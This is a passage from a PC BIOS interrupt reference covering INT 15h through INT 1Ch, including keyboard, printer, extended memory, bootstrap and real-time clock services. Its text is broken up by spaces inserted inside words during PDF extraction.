= 80h ( PCj r and PC) = 86h f or al l ot her machi nes
: i nt 15, 40
^I NT 15, 40 - Read / Modi f y Pr of i l es ( conver t i bl e onl y)


AH = 40h

AL = 00 - r et ur n syst empr of i l e i n CX, BX
01 - modi f y syst empr of i l e
CX, BX = pr of i l e i nf o


AL = 02 - r et ur n i nt er nal modempr of i l e i n BX


AL = 03 - modi f y i nt er nal modempr of i l e
BX = pr of i l e i nf o

: i nt 15, 41
^I NT 15, 41 - Wai t on Ext er nal Event ( conver t i bl e onl y)

AH = 41h
AL = condi t i on t ype:

7 6 5 4 3 2 1 0 AL
condi t i ons ( codes) t o wai t f or
r eser ved
1=por t addr ess/ 0=user byt e
r eser ved

% Condi t i on codes:

0 = any ext er nal event
1 = compar e and r et ur n i f equal
2 = compar e and r et ur n i f not equal
3 = t est and r et ur n i f not zer o
4 = t est and r et ur n i f zer o

BH = condi t i on compar e or mask val ue
BL = t i me- out val ue t i mes 55 ms, 0 i f no t i me l i mi t
DX = I / O por t addr ess ( i f AL bi t 4 = 1)
ES: DI = poi nt er t o user byt e ( i f AL bi t 4 = 0)

: i nt 15, 42
^I NT 15, 42 - Request Syst emPower Of f ( conver t i bl e onl y)


Pagina 890 di 991
AH = 42h

AL = 00 t o use syst empr of i l e
= 01 t o f or ce suspend r egar dl ess of pr of i l e

: i nt 15, 43
^I NT 15, 43 - Read Syst emSt at us ( conver t i bl e onl y)


AH = 43h


on r et ur n
AL = STATUS:

7 6 5 4 3 2 1 0 AL
LCD det ached
r eser ved
RS232/ par al l el power ed on
i nt er nal modempower ed on
power act i vat ed by al ar m
st andby power l ost
ext er nal power i n use
bat t er y l ow

: i nt 15, 44
^I NT 15, 44 - ( De) act i vat e I nt er nal ModemPower ( conver t i bl e)


AH = 44h

AL = 00 t o power of f
= 01 t o power on

: i nt 15, 4f
^I NT 15, 4F - Keyboar d I nt er cept ( BI OS dat e speci f i c)

AH = 4F
AL = scan code
CF = set t o 1 ( vi a STC i nst r uct i on)

on r et ur n

AH = 80h, CF set ( PC, PCj r )
= 86h, CF set ( XT BI OS 11/ 8/ 82, AT BI OS 1/ 10/ 84)
AL = CF set , new scan code
= CF cl ear , or i gi nal scancode


- avai l abl e wi t h XT BI OS af t er 11/ 8/ 82, AT BI OS af t er 1/ 10/ 84
- cal l ed by ~I NT 9~, makes al l owance f or keyboar d t r ansl at i on
- nor mal l y r et ur ns t he scan code i n AL, wi t h CF set
- i f f unct i on r et ur ns wi t h CF cl ear , I NT 9 i gnor es keyst r oke
- do not r el y on t hi s f unct i on bei ng cal l ed f or each I NT 9 si nce
any user I NT 9 handl er can exi t pr emat ur el y and ci r cumvent
t hi s f unct i on
: i nt 15, 80
^I NT 15, 80 - Devi ce Open


AH = 80h
BX = devi ce i d
CX = pr ocess i d
Pagina 891 di 991


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = 80h f or PC & PCj r
= 86h f or XT ( BI OS af t er 11/ 8/ 82)


- avai l abl e on t he AT, XT 286, PS/ 2 and XT wi t h BI OS af t er 11/ 8/ 82
- desi gned f or use i n si mpl e mul t i t aski ng

: i nt 15, 81
^I NT 15, 81 - Devi ce Cl ose


AH = 81h
BX = devi ce i d
CX = pr ocess i d


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = 80h f or PC & PCj r
= 86h f or XT ( BI OS af t er 11/ 8/ 82)


- avai l abl e on t he AT, XT 286, PS/ 2 and XT wi t h BI OS af t er 11/ 8/ 82
- desi gned f or use i n si mpl e mul t i t aski ng

: i nt 15, 82
^I NT 15, 82 - Pr ogr amTer mi nat i on


AH = 82h
BX = devi ce i d


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = 80h f or PC & PCj r
= 86h f or XT ( BI OS af t er 11/ 8/ 82)


- avai l abl e on t he AT, XT 286, PS/ 2 and XT wi t h BI OS af t er 11/ 8/ 82
- desi gned f or use i n si mpl e mul t i t aski ng

: i nt 15, 83
^I NT 15, 83 - Event Wai t


AH = 83h
AL = 0 set i nt er val
= 1 cancel i nt er val ( PS/ 2)
CX, DX = number of mi cr oseconds t o wai t ( 976 s r esol ut i on)
ES: BX = poi nt er t o memor y f l ag ( bi t 7 i s set
when i nt er val expi r es)
( gr anul ar i t y i s 976 mi cr oseconds)


on r et ur n:
Pagina 892 di 991
CF = 1 i f f unct i on al r eady busy
AH = 80h f or PC
= 86h f or XT & AT


- avai l abl e on t he AT ( BI OS af t er 1/ 10/ 84) and PS/ 2' s except 30
- desi gned f or use i n si mpl e mul t i t aski ng

: i nt 15, 84
^I NT 15, 84 - J oy- St i ck Suppor t


AH = 84h
DX = 0 t o r ead t he cur r ent swi t ch set t i ngs
= 1 t o r ead t he ~j oyst i ck~ posi t i on ( r esi st i ve i nput s)


on r et ur n ( DX=0, r ead swi t ch set t i ng) :
CF = 0 i f successf ul
= 1 i f er r or
AH = 80h er r or code i f CF set on PC
= 86h er r or code i f CF set on XT bef or e 11/ 8/ 82
AL = swi t ch set t i ngs i n bi t s 7- 4 ( i f r ead swi t ch f unct i on)

on r et ur n ( DX=1, r ead j oyst i ck posi t i on) :
AX = A( X)
BX = A( Y)
CX = B( X)
DX = B( Y)

: i nt 15, 85
^I NT 15, 85 - Syst emRequest Key Pr essed


AH = 85h
AL = 00 key pr essed
= 01 key r el eased


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = 80h f or PC or PCj r
= 86h f or XT ( BI OS af t er 11/ 8/ 82)


- cal l ed by BI OS when t he Syst emRequest key i s pr essed/ r el eased
- avai l abl e on machi nes wi t h newer BI OS and keyboar ds

: i nt 15, 86
^I NT 15, 86 - El apsed Ti me Wai t ( AT and PS/ 2)


AH = 86h
CX, DX = number of mi cr oseconds t o wai t ( 976 s r esol ut i on)


on r et ur n:
CF = set i f er r or ( PC, PCj r , XT)
= set i f wai t i n pr ogr ess
= cl ear i f successf ul wai t
AH = 80h f or PC and PCj r
= 86h f or XT
Pagina 893 di 991


- AT and PS/ 2 onl y f or syst emt i mi ng
- not desi gned f or user appl i cat i on usage

: i nt 15, 87
^I NT 15, 87 - Move Bl ock t o/ f r omExt ended Memor y

AH = 87h
CX = wor d count of bl ock t o be moved
ES: SI = poi nt er t o Gl obal Descr i pt or Tabl e ( ~GDT~)


on r et ur n:
CF = 0 i f successf ul ( AH cont ai ns r et ur n code)
= 1 i f er r or det ect ed
AH = 0 oper at i on successf ul ( ZF al so set )
= 1 RAM par i t y er r or ( i f CF set )
= 2 ot her except i on ( i f CF set )
= 3 gat e addr ess on l i ne 20h f ai l ed ( i f CF set )
= 80h on PC and PCj r ( i f CF set )
= 86h on XT and newer 808x machi nes ( i f CF set )

- t r ansf er s dat a bl ocks t o and f r omext ended memor y on 80286
and 80386 machi nes by swi t chi ng f r omr eal t o pr ot ect ed mode
f or t he dur at i on of t he t r ansf er
- al l r eal mode i nt er r upt s ar e di sabl ed
- pr ocessor shut s down dur i ng t he swi t ch f r ompr ot ect ed mode
t o r eal mode on 286 pr ocessor s
: i nt 15, 88
^I NT 15, 88 - Ext ended Memor y Si ze Det er mi nat i on


AH = 88h


on r et ur n:
CF = 80h f or PC, PCj r
= 86h f or XT and Model 30
= ot her machi nes, set f or er r or , cl ear f or success
AX = number of cont i guous 1k bl ocks of memor y st ar t i ng
at addr ess 1024k ( 100000h)


- wor ks onl y on 80286 and 80386 machi nes
- r et r i eves byt es 30 and 31 f r omt he ~CMOS~ RAM ( t hi s dat a i s set
by t he boot memor y scan
: i nt 15, 89
^I NT 15, 89 - Swi t ch Pr ocessor t o Pr ot ect ed Mode

AH = 89h
BH = I RQ8 i nt er r upt vect or of f set
BL = I RQ0 i nt er r upt vect or of f set
CX = of f set i nt o pr ot ect ed mode CS t o j ump
ES: SI = poi nt er t o Gl obal Descr i pt or Tabl e ( ~GDT~)


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or

- swi t ches 286 and 386 machi nes i nt o pr ot ect ed mode t o t ake
advant age of advanced f eat ur e and ext ended memor y
Pagina 894 di 991
- Gl obal descr i pt or t abl e must be set up bef or e i nt er r upt
- nor mal BI OS f unct i ons ar e not avai l abl e af t er t he swi t ch
: i nt 15, 90
^I NT 15, 90 - Devi ce Busy

AH = 90h
AL = t ype code:
= 00 di sk
= 01 di sket t e
= 02 keyboar d
= 03 poi nt i ng devi ce
= 80 net wor k ( ES: BX = NCB)
= FC f i xed di sk r eset ( PS/ 2)
= FD di sket t e mot or st ar t
= FE pr i nt er
ES: BX = poi nt er t o net wor k cont r ol bl ock i f wai t i ng f or net wor k

on r et ur n:
CF = 0 i f wai t not sat i sf i ed
= 1 i f wai t t i me sat i sf i ed
AH = when CF set , 80h f or PC & PCj r , 86h f or XT ( BI OS 11/ 8/ 82)

- t el l s t he OS a a pr ogr ami s about t o wai t f or a devi ce
- used f or mul t i t aski ng OS devel opment
: i nt 15, 91
^I NT 15, 91 - I nt er r upt Compl et e

AH = 91h

on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT ( BI OS 11/ 8/ 82)
AL = t ype code:
= 00 di sk
= 01 di sket t e
= 02 keyboar d
= 03 poi nt i ng devi ce
= 80 net wor k ( ES: BX = NCB)
= FC f i xed di sk r eset ( PS/ 2)
= FD di sket t e mot or st ar t
= FE pr i nt er

- shoul d not be used by appl i cat i ons sof t war e
- used by t he BI OS t o i ndi cat e devi ce i nt er r upt i s compl et e
- used f or mul t i t aski ng OS devel opment
: i nt 15, c0
^I NT 15, C0 - Ret ur n Syst emConf i gur at i on Par amet er s ( PS/ 2 onl y)

AH = C0

on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT
( BI OS af t er 11/ 8/ 82) and AT ( BI OS af t er 1/ 10/ 84)

ES: BX = poi nt er t o syst emdescr i pt or t abl e i n ROM of t he f or mat :

% Of f set Si ze Descr i pt i on

00 wor d l engt h of descr i pt or ( 8 mi ni mum)
02 byt e model byt e ( same as F000: FFFE, not r el i abl e)
Pagina 895 di 991
03 byt e secondar y model byt e
04 byt e BI OS r evi si on l evel ( zer o based)
05 byt e f eat ur e i nf or mat i on, see bel ow
06 dwor d r eser ved


% Feat ur e I nf or mat i on

7 6 5 4 3 2 1 0 Feat ur e Byt e
r eser ved
0=PC bus, 1=Mi cr o Channel
Ext ended BI OS Dat a Ar ea ( ~EBDA~) al l ocat ed
wai t f or ext er nal event suppor t ed
~I NT 15, 4F~ used ( kbd i nt er cept )
~RTC~ pr esent
2nd ~8259~ pr esent
DMA channel 3 used by f i xed di sk BI OS

- see ~MACHI NE I D~

: i nt 15, c1
^I NT 15, C1 - Ret ur n Ext ended BI OS Dat a Ar ea Segment ( PS/ 2 onl y)


AH = C1


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT ( BI OS 11/ 8/ 82)
ES = ~EBDA~ segment addr ess i f PS/ 2


- t he EBDA i s used i nt er nal l y by t he PS/ 2 BI OS r out i nes
- t he EBDA i s al l ocat ed at t he t op of user memor y by t he ~POST~
r out i ne

: i nt 15, c2
^I NT 15, C2 - Poi nt i ng Devi ce BI OS I nt er f ace ( PS/ 2 onl y)

AH = C2
AL = 0 enabl e/ di sabl e poi nt i ng devi ce ( BH cont ai ns f l ag)
= 1 r eset poi nt i ng devi ce
= 2 set sampl e r at e
= 3 set r esol ut i on
= 4 r ead devi ce t ype
= 5 poi nt i ng devi ce i ni t i al i zat i on
= 6 ext ended commands
= 7 poi nt i ng devi ce f ar cal l i ni t i al i zat i on
BH = 0 i ndi cat es enabl e f or AL = 0
= 1 i ndi cat es di sabl e f or AL = 0


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT, AT
= 01 i nval i d f unct i on cal l
= 02 i nval i d i nput
= 03 i nt er f ace er r or
= 04 r esend
= 05 no f ar cal l i nst al l ed
Pagina 896 di 991

: i nt 15, c3
^I NT 15, C3 - Enabl e/ Di sabl e Wat chdog Ti mer ( PS/ 2)

AH = C3
AL = 0 di sabl e wat chdog t i me- out
= 1 enabl e wat chdog t i me- out
BX = wat chdog t i mer count ( 1- 255)

on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT, AT & Model 30


- t he wat chdog t i mer i s avai l abl e onl y on PS/ 2 wi t h 80286 and
80386 pr ocessor s.
- t he ~t i mer ~ uses channel t i mer channel 3 and I RQ0. Act i vat ed
when I RQ0 i s act i ve f or mor e t han one channel 0 t i mer cycl e,
whi ch causes t he t i mer t o be decr ement ed. When t he wat ch-
dog t i mer r eaches 0, and NMI i s gener at ed.
: i nt 15, c4
^I NT 15, C4 - Pr ogr ammabl e Opt i on Sel ect ( PS/ 2)

AH = C4
AL = 0 get Pr ogr ammabl e Opt i on Sel ect adapt er r egi st er addr ess
= 1 enabl e sl ot f or set up
= 2 adapt er enabl e


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AH = when CF set , 80h f or PC & PCj r , 86h f or XT, AT & 30
BL = sl ot number ( f unct i on AL=1)
DL = POS adapt er r egi st er addr ess ( f unct i on AL=0)


- al l ows access t o PS/ 2 Pr ogr ammabl e Opt i on Sel ect r egi st er s
- avai l abl e on 80286 and 80386 PS/ 2' s

: i nt 16: BI OS keyboar d ser vi ces
^I NT 16 - Keyboar d BI OS Ser vi ces


^For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 16, 0~ Wai t f or keyst r oke and r ead
~I NT 16, 1~ Get keyst r oke st at us
~I NT 16, 2~ Get shi f t st at us
~I NT 16, 3~ Set keyboar d t ypemat i c r at e ( AT+)
~I NT 16, 4~ Keyboar d cl i ck adj ust ment ( AT+)
~I NT 16, 5~ Keyboar d buf f er wr i t e ( AT, PS/ 2 enhanced keyboar ds)
~I NT 16, 10~ Wai t f or keyst r oke and r ead ( AT, PS/ 2 enhanced keyboar ds)
~I NT 16, 11~ Get keyst r oke st at us ( AT, PS/ 2 enhanced keyboar ds)
~I NT 16, 12~ Get shi f t st at us ( AT, PS/ 2 enhanced keyboar ds)


- wi t h I BM BI OS' s, I NT 16 f unct i ons do not r est or e t he f l ags t o
t he pr e- i nt er r upt st at e t o al l ow r et ur ni ng of i nf or mat i on vi a
t he f l ags r egi st er
- f unct i ons 3 t hr ough 12h ar e not avai l abl e on al l AT machi nes
unl ess t he ext ended keyboar d BI OS i s pr esent
Pagina 897 di 991
- al l r egi st er s ar e pr eser ved except AX and FLAGS
- see ~SCAN CODES~
: i nt 16, 0
^I NT 16, 0 - Wai t f or Keypr ess and Read Char act er


AH = 00


on r et ur n:
AH = keyboar d scan code
AL = ASCI I char act er or zer o i f speci al f unct i on key


- hal t s pr ogr amunt i l key wi t h a scancode i s pr essed
- see ~SCAN CODES~

: i nt 16, 1
^I NT 16, 1 - Get Keyboar d St at us


AH = 01


on r et ur n:
ZF = 0 i f a key pr essed ( even Ct r l - Br eak)
AX = 0 i f no scan code i s avai l abl e
AH = ~scan code~
AL = ASCI I char act er or zer o i f speci al f unct i on key


- dat a code i s not r emoved f r ombuf f er
- ~Ct r l - Br eak~ pl aces a zer o wor d i n t he keyboar d buf f er but does
r egi st er a keypr ess.
: i nt 16, 2
^I NT 16, 2 - Read Keyboar d Fl ags

AH = 02


on r et ur n:
AL = BI OS keyboar d f l ags ( l ocat ed i n ~BI OS Dat a Ar ea~ 40: 17)

7 6 5 4 3 2 1 0 AL or BI OS Dat a Ar ea 40: 17
r i ght shi f t key depr essed
l ef t shi f t key depr essed
CTRL key depr essed
ALT key depr essed
scr ol l - l ock i s act i ve
num- l ock i s act i ve
caps- l ock i s act i ve
i nser t i s act i ve
: i nt 16, 3
^I NT 16, 3 - Set Keyboar d Typemat i c Rat e ( AT+)

AH = 03
AL = 00 set t ypemat i c r at e t o def aul t
01 i ncr ease i ni t i al del ay
02 sl ow t ypemat i c r at e by 1/ 2
04 t ur n of f t ypemat i c char s
05 set t ypemat i c r at e/ del ay

BH = r epeat del ay ( AL=5)
Pagina 898 di 991
0 = 250ms 2 = 750ms
1 = 500ms 3 = 1000ms
BL = t ypemat i c r at e, one of t he f ol l owi ng ( AL=5)

00 - 30. 0 01 - 26. 7 02 - 24. 0 03 - 21. 8
04 - 20. 0 05 - 18. 5 06 - 17. 1 07 - 16. 0
08 - 15. 0 09 - 13. 3 0A - 12. 0 0B - 10. 9
0C - 10. 0 0D - 9. 2 0E - 8. 6 0F - 8. 0
10 - 7. 5 11 - 6. 7 12 - 6. 0 13 - 5. 5
14 - 5. 0 15 - 4. 6 16 - 4. 3 17 - 4. 0
18 - 3. 7 19 - 3. 3 1A - 3. 0 1B - 2. 7
1C - 2. 5 1D - 2. 3 1E - 2. 1 1F - 2. 0

r et ur ns not hi ng

- i f t he t ypemat i c r at e i s not wi t hi n r ange, no act i on i s t aken
- avai l abl e on AT and PS/ 2 machi nes wi t h ext ended keyboar d suppor t
- see ~KEYBOARD COMMANDS~
: i nt 16, 4
^I NT 16, 4 - Keyboar d Cl i ck Adj ust ment ( AT+)


AH = 04
AL = 1 f or cl i ck on
= 0 f or cl i ck of f


- avai l abl e onl y on AT and l at er machi nes t hat suppor t t he ext ended
keyboar d BI OS
: i nt 16, 5
^I NT 16, 5 - Keyboar d Buf f er Wr i t e ( AT+)


AH = 05
CH = ~scan code~
CL = ASCI I char act er


on r et ur n:
AL = 00 i f success
01 i f buf f er f ul l


- avai l abl e on AT and PS/ 2 machi nes wi t h ext ended keyboar d suppor t
- st or es nor mal keyst r oke i nt o keyboar d buf f er
- wi l l not st or e at t r i but e keys l i ke Shi f t , Al t , Ct r l , et c. . .

: i nt 16, 10
^I NT 16, 10 - Ext ended Wai t f or Keypr ess and Read Char act er ( AT+)


AH = 10h


on r et ur n:
AH = ~scan code~
AL = ASCI I char act er or zer o i f speci al f unct i on key


- avai l abl e on AT and PS/ 2 machi nes wi t h ext ended keyboar d suppor t
- si mi l ar t o ~I NT 16, 0~
: i nt 16, 11
^I NT 16, 11 - Ext ended Get Keyboar d St at us ( AT+)
Pagina 899 di 991


AH = 11h


on r et ur n:
ZF = 0 i f key pr essed ( dat a wai t i ng)
AX = 0 i f no scan code i s avai l abl e
AH = ~scan code~
AL = ASCI I char act er or zer o i f speci al f unct i on key


- avai l abl e on AT and PS/ 2 machi nes wi t h ext ended keyboar d suppor t
- dat a i s not r emoved f r ombuf f er
- si mi l ar t o ~I NT 16, 1~

: i nt 16, 12
^I NT 16, 12 - Ext ended Get Keyboar d St at us ( AT+)

AH = 12h

on r et ur n:
AH = BI OS keyboar d f l ags ( ~BI OS Dat a Ar ea~ l ocat i on 40: 18)

7 6 5 4 3 2 1 0 AH
l ef t CTRL key depr essed
l ef t ALT key depr essed
r i ght CTRL key pr essed
r i ght ALT key depr essed
scr ol l - l ock depr essed
num- l ock key depr essed
caps- l ock key depr essed
syst emr equest key depr essed

AL = BI OS keyboar d f l ags ( BI OS Dat a Ar ea l ocat i on 40: 17)

7 6 5 4 3 2 1 0 AL
r i ght shi f t key depr essed
l ef t shi f t key depr essed
CTRL key depr essed
ALT key depr essed
scr ol l - l ock i s act i ve
num- l ock i s act i ve
caps- l ock i s act i ve
i nser t i s act i ve


- avai l abl e on AT and PS/ 2 machi nes wi t h ext ended keyboar d suppor t
- si mi l ar t o ~I NT 16, 2~

- see ~KB FLAGS~

: i nt 17: BI OS pr i nt er ser vi ces: i nt 17, st at us: pr i nt er st at us
^I NT 17 - Pr i nt er BI OS Ser vi ces

% For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 17, 0~ Pr i nt char act er
~I NT 17, 1~ I ni t i al i ze pr i nt er por t
~I NT 17, 2~ Read pr i nt er por t st at us

St at us f l ags r et ur ned i n r egi st er AH

Pagina 900 di 991
7 6 5 4 3 2 1 0 AH ( st at us)
t i me- out
unused
1 = I / O er r or ( ~par al l el ~ pi n 15)
1 = pr i nt er sel ect ed/ on- l i ne ( par al l el pi n 13)
1 = out of paper ( par al l el pi n 12)
1 = pr i nt er acknowl edgment ( par al l el pi n 10)
1 = pr i nt er not busy ( par al l el pi n 11)

- on t he AT, XT 286, and PS/ 2 when t he BI OS det er mi nes t he pr i nt er
i s busy, ~I NT 15, 90~ i s execut ed
- al l pr i nt er s do not r et ur n r el i abl e st at us i nf or mat i on; bi t 3 and
bi t 7 ar e usual l y r el i abl e.
- al l r egi st er s ar e pr eser ved except AH
: i nt 17, 0
^I NT 17, 0 - Pr i nt Char act er


AH = 00
AL = char act er t o pr i nt
DX = pr i nt er t o be used ( 0- 2)


on r et ur n:
AH = pr i nt er st at us, see ~I NT 17, STATUS~


- wr i t es char act er and r et ur ns st at us
: i nt 17, 1
^I NT 17, 1 - I ni t i al i ze Pr i nt er Por t


AH = 01
DX = pr i nt er por t t o i ni t i al i ze ( 0- 2)


on r et ur n:
AH = st at us, see ~I NT 17, STATUS~


- i ni t i al i zes pr i nt er por t and r et ur ns st at us
- out put s char act er s 0x08 and 0x0C t o pr i nt er por t whi ch
r eset ~Epson~ and I BM pr i nt er s, but may pr oduce undesi r abl e
ef f ect s on ot her pr i nt er s

: i nt 17, 2
^I NT 17, 2 - Read Pr i nt er Por t St at us

AH = 02
DX = pr i nt er por t t o be used ( 0- 2)


on r et ur n:
AH = st at us:

7 6 5 4 3 2 1 0 Pr i nt er st at us bi t s
t i me out
unused
I / O er r or
sel ect ed
out of paper
acknowl edge
not busy
Pagina 901 di 991


- r et ur ns st at us of speci f i ed pr i nt er por t
: i nt 19
^I NT 19 - Boot st r ap Loader


DL = physi cal dr i ve wher e boot sect or i s l ocat ed


no out put


- t r ack 0, sect or 1 i s l oaded i nt o addr ess 0: 7C00
and cont r ol i s t r ansf er r ed t her e
- not a pr ef er r ed met hod f or r eboot i ng by appl i cat i ons. A
bet t er met hod i s t o set t he wor d at l ocat i on 40: 72 t o 1234h
and j ump t o l ocat i on FFFF: 0 i n ROM
- memor y i s not cl ear ed when r eboot ed t hr ough t hi s i nt er r upt

- see ~WARM BOOT~

: i nt 1a: BI OS cl ock ser vi ces
^I NT 1A - Syst emand Real Ti me Cl ock BI OS Ser vi ces


% For mor e i nf or mat i ons, see t he f ol l owi ng t opi cs:

~I NT 1A, 0~ Read syst emcl ock count er
~I NT 1A, 1~ Set syst emcl ock count er
~I NT 1A, 2~ Read r eal t i me cl ock t i me ( AT, PS/ 2)
~I NT 1A, 3~ Set r eal t i me cl ock t i me ( AT, PS/ 2)
~I NT 1A, 4~ Read r eal t i me cl ock dat e ( AT, PS/ 2)
~I NT 1A, 5~ Set r eal t i me cl ock dat e ( AT, PS/ 2)
~I NT 1A, 6~ Set r eal t i me cl ock al ar m( AT, PS/ 2)
~I NT 1A, 7~ Reset r eal t i me cl ock al ar m( PS/ 2)
~I NT 1A, 8~ Set RTC act i vat ed power on mode ( conver t i bl e, PS/ 2)
~I NT 1A, 9~ Read RTC al ar mt i me and st at us ( conver t i bl e, PS/ 2)
~I NT 1A, A~ Read syst emday count er ( PS/ 2)
~I NT 1A, B~ Set syst emday count er ( PS/ 2)
~I NT 1A, 80~ Set up sound mul t i pl exer ( PCj r onl y)

- f unct i on i s speci f i ed i n r egi st er AH
- see ~RTC~
: i nt 1a, 0
^I NT 1A, 0 - Read Syst emCl ock Count er


AH = 00


on r et ur n:
AL = mi dni ght f l ag, 1 i f 24 hour s passed si nce r eset
CX = hi gh or der wor d of t i ck count
DX = l ow or der wor d of t i ck count


- i ncr ement ed appr oxi mat el y 18. 206 t i mes per second
- at mi dni ght CX: DX i s zer o
- t hi s f unct i on can be cal l ed i n a pr ogr amt o assur e t he dat e i s
updat ed af t er mi dni ght ; t hi s wi l l avoi d t he passi ng t wo mi dni ght s
dat e pr obl em
: i nt 1a, 1
Pagina 902 di 991
^I NT 1A, 1 - Set Syst emCl ock Count er


AH = 01
CX = hi gh or der wor d of t i ck count
DX = l ow or der wor d of t i ck count


r et ur ns not hi ng


- CX: DX shoul d be set t o t he number of seconds past
mi dni ght mul t i pl i ed by appr oxi mat el y 18. 206

: i nt 1a, 2
^I NT 1A, 2 - Read Ti me Fr omReal Ti me Cl ock ( XT 286, AT, PS/ 2)


AH = 02


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or , ~RTC~ not oper at i ng
CH = hour s i n BCD
CL = mi nut es i n BCD
DH = seconds i n BCD
DL = 1 i f dayl i ght savi ngs t i me opt i on


- on AT wi t h BI OS bef or e 6/ 10/ 85, DL i s not r et ur ned
: i nt 1a, 3
^I NT 1A, 3 - Set Ti me on Real Ti me Cl ock ( XT 286, AT, PS/ 2)


AH = 03
CH = hour s i n BCD
CL = mi nut es i n BCD
DH = seconds i n BCD
DL = 1 i f dayl i ght savi ngs t i me opt i on
= 0 i f st andar d t i me


r et ur ns not hi ng


- cl ock val ues must be i n BCD
- see ~RTC~
: i nt 1a, 4
^I NT 1A, 4 - Read Real Ti me Cl ock Dat e ( XT 286, AT, PS/ 2)


AH = 04


on r et ur n:
CH = cent ur y i n BCD ( deci mal 19 or 20)
CL = year i n BCD
DH = mont h i n BCD
DL = day i n BCD
CF = 0 i f successf ul
= 1 i f er r or or cl ock not oper at i ng

Pagina 903 di 991
- cal l i ng t hi s i nt er r upt wi l l updat e t he DOS mai nt ai ned dat e and
r eset t he ~BI OS Dat a Ar ea~ dat e r ol l over f l ag at 40: 70
- see ~RTC~
: i nt 1a, 5
^I NT 1A, 5 - Set Real Ti me Cl ock Dat e ( XT 286, AT, PS/ 2)


AH = 05
CH = cent ur y i n BCD ( deci mal 19 or 20)
CL = year i n BCD
DH = mont h i n BCD
DL = day i n BCD


r et ur ns not hi ng


- al l val ues must be i n BCD
- see ~RTC~
: i nt 1a, 6
^I NT 1A, 6 - Set Real Ti me Cl ock Al ar m ( XT 286, AT, PS/ 2)


AH = 06
CH = hour s i n BCD
CL = mi nut es i n BCD
DH = seconds i n BCD


on r et ur n:
CF = 1 i f al ar mal r eady set or cl ock i noper abl e


- al ar mset t i ng i s not r el at i ve l i ke some sour ces cl ai m, but t he
act ual l y cl ock t i me t he i nt er r upt shoul d occur
- set t i ngs val ues must be i n BCD
- when t he al ar mt i me i s r eached ~I NT 4A~ i s execut ed
- I NT 4A vect or shoul d be r epl aced wi t h addr ess of t he al ar m
handl i ng i nt er r upt r out i ne bef or e set t i ng t he al ar m
- ~I NT 1A, 7~ shoul d be cal l ed t o di sabl e t he ~RTC~ al ar m
: i nt 1a, 7
^I NT 1A, 7 - Di sabl e Real Ti me Cl ock Al ar m ( XT, AT, PS/ 2)


AH = 07


r et ur ns not hi ng


- shoul d be cal l ed pr evi ous t o set t i ng or r eset t i ng t he
~RTC~ al ar mwi t h ~I NT 1A, 6~
: i nt 1a, 8
^I NT 1A, 8 - Set RTC Act i vat ed Power On Mode ( conver t i bl e)


AH = 08
CH = hour s i n BCD
CL = mi nut es i n BCD
DH = seconds i n BCD


- see ~RTC~
Pagina 904 di 991
: i nt 1a, 9
^I NT 1A, 9 - Read RTC Al ar mTi me and St at us ( conver t i bl e, PS/ 2)


AH = 09


on r et ur n:
CH = hour s i n BCD
CL = mi nut es i n BCD
DH = seconds i n BCD
DL = al ar mst at us:
= 00 i f al ar mnot enabl ed ( AI E=0)
= 01 i f al ar menabl ed but wi l l not power up syst em( AI E=1)
= 02 i f al ar mwi l l power up syst em( AI E=1)


- see ~RTC~
: i nt 1a, a
^I NT 1A, A - Read Syst emDay Count er ( PS/ 2)


AH = 0Ah


on r et ur n:
CX = count of days si nce 1- 1- 1980

: i nt 1a, b
^I NT 1A, B - Set Syst emDay Count er ( PS/ 2)


AH = 0Bh
CX = count of days si nce 1- 1- 1980

: i nt 1a, 80
^I NT 1A, 80 - Set up Sound Mul t i pl exer ( PCj r onl y)


AL = 00 - sour ce i s ~8253~ channel 2
= 01 - sour ce i s casset t e i nput
= 02 - sour ce i s I / O channel " AUDI O I N"
= 03 - sour ce i s sound gener at or chi p

: i nt 1b: Ct r l - Br eak: BI OS br eak i nt er r upt
^I NT 1B - BI OS Ct r l - Br eak Handl er Addr ess


- hol ds addr ess of t he BI OS Ct r l - Br eak i nt er r upt handl er
- cal l ed by ~I NT 9~ af t er Ct r l - Br eak key i s pr essed; I NT 9 set s t he
BI OS keyboar d head and t ai l poi nt er s t o t he buf f er st ar t and
pl aces a zer o wor d i n t he buf f er
- t he BI OS i ni t i al l y set s t hi s val ue t o poi nt t o a si mpl e ~I RET~ but
DOS r e- vect or s t hi s t o i t s own code, usual l y 2 l i nes of code t hat
set s an i nt er nal f l ag ( t o 3) and t hen r et ur ns vi a I RET.
- DOS checks t hi s f l ag on ent r y t o many of i t s subf unct i ons. I f t he
f l ag i s set , i t i nvokes ~I NT 23~.
- poi nt i ng t hi s addr ess t o a nul l f unct i on wi t h and I RET di sabl es
Ct r l - Br eak abor t s
- i f t he I NT 1B code chooses t o r et ai n cont r ol of t he syst em, i t
must i ssue an EOI f or any i nt er r upt pendi ng on t he ~8259~ and r eset
al l I / O devi ces
- shoul d be t er mi nat ed vi a an I RET
Pagina 905 di 991
- shoul d not be cal l ed di r ect l y by user appl i cat i on
: i nt 1c: user t i mer r out i ne
^I NT 1C - Syst emTi mer Ti ck ( User Rout i ne)


- cal l ed by ~I NT 8~, appr oxi mat el y 18. 206 t i mes per second
( unl ess t he pr ogr ammodi f i es t he ~8253~ PI T
- t hi s i s a user r out i ne whi ch t he BI OS def aul t s t o a si mpl e ~I RET~
- t hi s i nt er r upt vect or can be used f or TSR popup ut i l i t i es,
ani mat ed gr aphi cs updat es and event pol l i ng
